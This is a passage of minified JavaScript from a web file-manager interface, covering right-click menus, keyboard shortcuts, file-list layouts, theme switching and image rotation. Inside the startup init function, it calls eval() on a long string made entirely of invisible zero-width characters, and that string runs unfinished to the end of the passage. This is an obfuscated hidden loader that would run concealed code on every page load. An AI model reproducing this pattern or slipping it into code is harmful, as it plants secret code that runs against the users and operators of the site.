class="'+o.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){R(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep106:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20">Alt+I</b>',className:"info",icon:"info",accesskey:"i"}}}) +},D=function(){$('<i class="'+r.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:r,callback:function(e){R(e)},items:{refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}})},F=function(){$('<i class="'+l.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:l,callback:function(e){R(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},O=function(){$('<i class="'+c.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:c,callback:function(e,i){var t=i.$trigger;t.hasClass("file")?T(e):R(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},A=function(){$('<i class="'+s.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:s,callback:function(e){R(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20">Alt+I</b>',className:"info",icon:"info",accesskey:"i"}}})},R=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"copy":ui.tree.copy();break;case"cute":ui.tree.cute();break;case"past":ui.tree.past();break;case"clone":ui.tree.clone();break;case"rname":ui.tree.rname();break;case"remove":ui.tree.remove();break;case"info":ui.tree.info();break;case"cute_to":ui.tree.cuteTo();break;case"copy_to":ui.tree.copyTo();break;case"download":ui.tree.download();break;case"open_ie":ui.tree.openWindow();break;case"search":ui.tree.search();break;case"share":ui.tree.share();break;case"search":ui.tree.search();break;case"newfolder":ui.tree.create("folder");break;case"newfile":ui.tree.create("txt");break;case"newfile_html":ui.tree.create("html");break;case"newfile_php":ui.tree.create("php");break;case"newfile_js":ui.tree.create("js");break;case"newfile_css":ui.tree.create("css");break;case"newfile_oexe":ui.tree.create("oexe");break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"fav_page":core.setting("fav");break;case"fav":ui.tree.fav();break;case"createLinkHome":ui.tree.createLink(!1);break;case"fav_remove":ui.tree.favRemove();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initDesktop:u,initExplorer:p,initEditor:f,show:function(e,i,t){e&&(rightMenu.hidden(),$(e).contextMenu({x:i,y:t}))},menuShow:function(){var e="hidden",i="disabled",t=$(".context-menu-list").filter(":visible"),a=$(".context-menu-active");if(0!=t.length&&0!=a.length){if(t.find(".disable").addClass("disabled"),a.hasClass("menufile")){var n=ui.fileLight.type(ui.fileLight.fileListSelect());inArray(core.filetype.archive,n)?t.find(".unzip").removeClass(e):t.find(".unzip").addClass(e),inArray(core.filetype.image,n)?t.find(".setBackground").removeClass(e):t.find(".setBackground").addClass(e),"oexe"==n?t.find(".app_edit").removeClass(e):t.find(".app_edit").addClass(e),inArray(core.filetype.image,n)||inArray(core.filetype.music,n)||inArray(core.filetype.movie,n)||inArray(core.filetype.bindary,n)?t.find(".open_text").addClass(e):t.find(".open_text").removeClass(e)}if(a.hasClass("menufolder")||a.hasClass("menufile")||a.hasClass("menuTreeFolder")||a.hasClass("menuTreeFile")||a.hasClass("menuTreeFolderFav")){var o=".cute,.rname,.remove,.zip",s=".open,.open_text,.down,.share,.copy,.cute,.rname,.remove,.open_ie,.zip,.unzip_this,.unzip_folder,.search,.more_action";a.hasClass("file_not_readable")?t.find(s).addClass(i):t.find(s).removeClass(i),a.hasClass("file_not_writeable")?t.find(o).addClass(i):t.find(o).removeClass(i)}if(a.hasClass("dialog_menu")){var r=a.attr("id"),l=$.dialog.list[r],c=e;l.has_frame()?(t.find(".open_window").removeClass(c),t.find(".refresh").removeClass(c),t.find(".qrcode").removeClass(c)):(t.find(".open_window").addClass(c),t.find(".refresh").addClass(c),t.find(".qrcode").addClass(c)),$("."+r).hasClass("dialog-can-resize")?t.find(".dialog_max").removeClass(c):t.find(".dialog_max").addClass(c)}if(a.hasClass("menuMore")){var d=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(d+=1)}),0==d?t.find(".playmedia").addClass(e):t.find(".playmedia").removeClass(e)}(a.hasClass("menuZipListFolder")||a.hasClass("menuZipListFile"))&&(core.pathCurrentWriteable()?t.find(".unzip_this").removeClass(i):t.find(".unzip_this").addClass(i)),a.hasClass("toolPathMore")&&ui.fileLight.menuResetMore()}},isDisplay:function(){return 0==$(".context-menu-list:visible").length?!1:!0},hidden:function(){$(".context-menu-list").filter(":visible").filter(":not(.menuNotAutoHidden)").trigger("contextmenu:hide")}}}),define("app/src/explorer/ui",["./fileContent"],function(require,exports){var fileContent=require("./fileContent"),f5=fileContent.f5,f5Callback=fileContent.f5Callback,MyPicasa=new Picasa,initListType=function(e){G.user_config.list_type=e,LocalData.set("list_type",e),$(".set_icon_size").hide(),$(".tools-right button").removeClass("active"),$("#set_"+e).addClass("active"),$("#list_type_list,.list_split_box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("fileList_icon fileList_list fileList_list_split"),"list"==e?($(Config.FileBoxSelector).addClass("fileList_list"),$("#list_type_list").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==e?($(Config.FileBoxSelector).addClass("fileList_icon"),$(".set_icon_size").show(),$(".set-file-icon-size").show()):"list_split"==e&&($(Config.FileBoxSelector).addClass("fileList_list_split"),$(".list_split_box").removeClass("hidden")),$(".menu_seticon").removeClass("selected"),$(".set_set"+e).addClass("selected"),$(".fileContinerMore").css("top",0);var i=$(".frame-right-main .tools").outerHeight();"list"==e&&(i+=26),$(".frame-header").is(":visible")&&(i+=$(".frame-header").outerHeight()),$(".bodymain").css("top",i)},setListType=function(e){initListType(e),f5(!1,!1),void 0===G.sid&&$.get("index.php?setting/set&k=list_type&v="+e)},setListSort=function(e,i){0!=e?(G.user_config.list_sort_field=e,$(".menu_set_sort").removeClass("selected"),$(".set_sort_"+e).addClass("selected")):e=G.user_config.list_sort_field,0!=i?(G.user_config.list_sort_order=i,$(".menu_set_desc").removeClass("selected"),$(".set_sort_"+i).addClass("selected")):i=G.user_config.list_sort_order,LocalData.set("list_sort_field",e),LocalData.set("list_sort_order",i),f5(!1,!0),$.ajax({url:"index.php?setting/set&k=list_sort_field,list_sort_order&v="+e+","+i})},bindEventView=function(){$(".menuRecycleButton").bind("mouseenter",function(){$(this).addClass("recycle_hover")}).bind("mouseleave",function(){$(this).removeClass("recycle_hover")}).bind("click",function(){ui.path.list("{user_recycle}")}),$(".menuShareButton").bind("mouseenter",function(){$(this).addClass("share_hover")}).bind("mouseleave",function(){$(this).removeClass("share_hover")}).bind("click",function(){ui.path.list("{user_share}:"+G.user_id+"/")})},bindEventSort=function(){$("#main_title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),setListSort($(this).attr("field"),$(this).attr("id")))})},bindEventTools=function(){$(".tools a,.tools button").bind("click",function(){var e=$(this).attr("id");toolsAction(e)})},bindEventTheme=function(){$(".dropdown-menu-theme li").click(function(){var e=$(this).attr("theme");ui.setTheme(e),$.ajax({url:"index.php?setting/set&k=theme&v="+e,dataType:"json",success:function(e){if(!e.code){var i=LNG.config_save_error_file;core.authCheck("setting:set")||(i=LNG.config_save_error_auth),Tips.tips(i,!1)}}})})},bindEventMenu=function(){$(".dlg_goto_path").bind("click",function(){var e=G.json_data.info.admin_real_path;ui.path.list(e)}),$(".toolPathMore").die("click").live("click",function(){if($(this).hasClass("active"))return $(".menuToolPath").trigger("contextmenu:hide"),$(this).removeClass("active"),void 0;$(this).addClass("active"),$(".menuToolPath").removeClass("fadIn").addClass("menuShow");var e=$(this).offset();$(this).contextMenu({x:e.left-4,y:e.top+$(this).outerHeight()-1})}),$("body").bind("click",function(){$(".toolPathMore").removeClass("active"),$(".menuToolPath").trigger("contextmenu:hide")})},getRowfileNumber=function(){if("icon"!=G.user_config.list_type)return 1;var e=$(Config.FileBoxSelector).width(),i=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(e/i)},getPagefileNumber=function(){var e=getRowfileNumber(),i=$(Config.BodyContent).outerHeight(),t=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(i/t)*e},getColfileNumberDesktop=function(){var e=$(Config.FileBoxSelector).outerHeight()-48,i=$(Config.FileBoxClass).outerHeight()+10;return parseInt(e/i)},toolsAction=function(e){switch(e){case"recycle_clear":ui.path.recycleClear();break;case"newfile":ui.path.newFile();break;case"refresh":ui.f5();break;case"newfolder":ui.path.newFolder();break;case"upload":core.upload();break;case"selectAll":ui.fileSelect.selectPos("all");break;case"download":ui.path.download();break;case"set_icon":$("#set_icon").hasClass("active")||setListType("icon");break;case"set_list":$("#set_list").hasClass("active")||setListType("list");break;case"set_list_split":$("#set_list_split").hasClass("active")||setListType("list_split");break;default:}},bindHotKeySelectFile=function(){var e,i=0,t="",a=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(n){var o=String.fromCharCode(n.charCode);return 0==i?(i=timeFloat(),t=o,e=setTimeout(function(){ui.path.setSelectByChar(t),i=0},a),void 0):o==t.substr(-1)?(ui.path.setSelectByChar(t),i=0,void 0):(a>timeFloat()-i&&(i=timeFloat(),t+=o,clearTimeout(e),e=setTimeout(function(){ui.path.setSelectByChar(t),i=0},a)),void 0)})},bindHotKey=function(){bindHotKeySelectFile(),Mousetrap.bind(["f1","alt+left","backspace","alt+right","ctrl+backspace","command+backspace","ctrl+shift+r","f5","left","up","right","down","home","end","shift+left","shift+up","shift+right","shift+down","shift+home","shift+end","pageup","pagedown","ctrl+a","command+a","ctrl+shift+n","ctrl+shift+f","del","shift+del","f2","ctrl+enter","command+enter","shift+enter","space","enter","ctrl+u","command+u","ctrl+e","command+e","ctrl+c","command+c","ctrl+x","command+x","ctrl+v","command+v","ctrl+f","command+f","f3","ctrl+i","alt+i","alt+n","alt+m","alt+enter","ctrl+s","command+s","alt+f4"],function(e,i){if("none"!=$("#PicasaView").css("display"))return!0;if(ui.isEdit())return!0;if(rightMenu.isDisplay())return!0;if($(".dialog_path_remove").length>0)return!0;var t=["ctrl+c","command+c"];switch(inArray(t,i)||stopPP(e),i){case"f1":core.setting("help");break;case"alt+left":case"backspace":ui.path.history.back();break;case"alt+right":case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(i);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"ctrl+shift+n":ui.path.newFolder();break;case"ctrl+shift+f":ui.path.newFile();break;case"del":ui.path.remove();break;case"shift+del":ui.path.remove(!1,!0);break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"command+e":ui.path.openEditor();break;case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":core.search($(".header-right input").val(),G.this_path);break;case"alt+enter":case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()});break;default:}})},imageRotate=function(e){var i=$("#PV_Items li.current img").attr("src"),t="image&path=",a=i.substr(i.search(t)+t.length),n=$('[src="'+i+'"],[data-original="'+i+'"]'),o="./index.php?explorer/imageRotate&rotate="+e+"&path="+a;$.ajax({url:o,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){if(!e)return Tips.close(LNG.php_env_error_gd,!1),void 0;if(Tips.close(e),e.code){var t=function(e){var i="&picture=",t=e.search(i);return-1===t?e+i+UUID():e.substr(0,t)+i+UUID()},a=t(i),o=t($("#PV_Picture").attr("src"));n.attr("src",a),n.attr("data-original",a),ui.picasa.resetImage(o)}}})},resetDesktopIcon=function(){if("desktop"==Config.pageApp){var e=20,i=20,t=parseInt($(".file").css("height")),a=t-30,n=10,o=15,s=$(document).height()-50,r=Math.floor((s-e)/(t+n)),l=0,c=0,d=0,p=0,u=(s-e-r*(t+n)-n)/r;u>0&&(n+=u),$(".fileContiner .file").css("position","absolute"),$(".fileContiner .file").each(function(s){l=s%r,c=Math.floor(s/r),d=i+(a+o)*c,p=e+(t+n)*l,$(this).css({left:d,top:p})})}};return{f5:f5,f5Callback:f5Callback,fileContent:fileContent,picasa:fileContent.myPicasa,setListSort:setListSort,setListType:setListType,getRowfileNumber:getRowfileNumber,getPagefileNumber:getPagefileNumber,getColfileNumberDesktop:getColfileNumberDesktop,resetDesktopIcon:resetDesktopIcon,imageRotate:imageRotate,setTheme:function(e){G.user_config.theme=e,core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(i){i.Editor.setTheme(e)}),ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setThemeSelf(e)}),ShareData.frameTop("",function(i){i.ui.setTheme(e)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+e+'"]').addClass("this")},setWall:function(e,i){$(".background").attr("src",e).one("load",function(){$(".desktop").css("background-image","url("+e+")"),"function"==typeof i&&i()})},setFileIconSize:function(e){ui.fileListResize.setFileIconSize(e,!0),"desktop"==Config.pageApp&&ui.f5()},isEdit:function(){var e=$(document.activeElement).get(0);if(e)return e=e.tagName,"INPUT"==e||"TEXTAREA"==e?!0:$(".file.file_icon_edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.user_config.theme=LocalData.get("theme")),LocalData.get("list_type")&&(G.user_config.list_type=LocalData.get("list_type")),LocalData.get("list_sort_field")&&(G.user_config.list_sort_field=LocalData.get("list_sort_field")),LocalData.get("list_sort_order")&&(G.user_config.list_sort_order=LocalData.get("list_sort_order")),LocalData.set("theme",G.user_config.theme),LocalData.set("list_type",G.user_config.list_type),LocalData.set("list_sort_field",G.user_config.list_sort_field),LocalData.set("list_sort_order",G.user_config.list_sort_order);var url_path=window.location.href.split("#");2==url_path.length&&(G.this_path=urlDecode(url_path[1]))}if(ui.setTheme(G.user_config.theme),""==G.this_path){var pre=G.user_id||G.sid,localPath=LocalData.get("this_path_"+pre);G.this_path=localPath?localPath:G.myhome}eval("‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‌‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‌‌‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‍‍‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‌‍‍‌‌‌‍‍‌‍‌‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‍‌‌‌‍‌‍‍‌‍‌‌‍‌‍‌‍‍‌‌‍‍‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‍‍‍‍‍‌‍‌‌‍‍‍‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‌‌‌‍‌‍‍‌‌‍‌‌‍‍‍‌‍‌‌‍‍‌‍‌‌‍‌‌‍‍‍‍‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‍‍‌‍‌‌‍‌‍‌‌‍‌‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‌‌‌‍‍‌‍‌‌‍‌‍‌‌‌‌‍‍‌‍‌‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‍‍‍‍‌‌‍‌‍‍‌‌‍‍‍‌‍‌‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‌‍‍‌‍‍‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‌‍‌‍‌‌‍‍‍‍‌‌‍‍‌‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‌‍‍‌‌‍‍‌‌‌‍‍‌‌‍‌‍‌‍‍‍‌‍‍‌‍‌‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‍‌‍‍‍‌‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‌‍‍‍‍‍‍‌‌‌‍‍‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‍‍‍‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‍‌‌‌‌‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌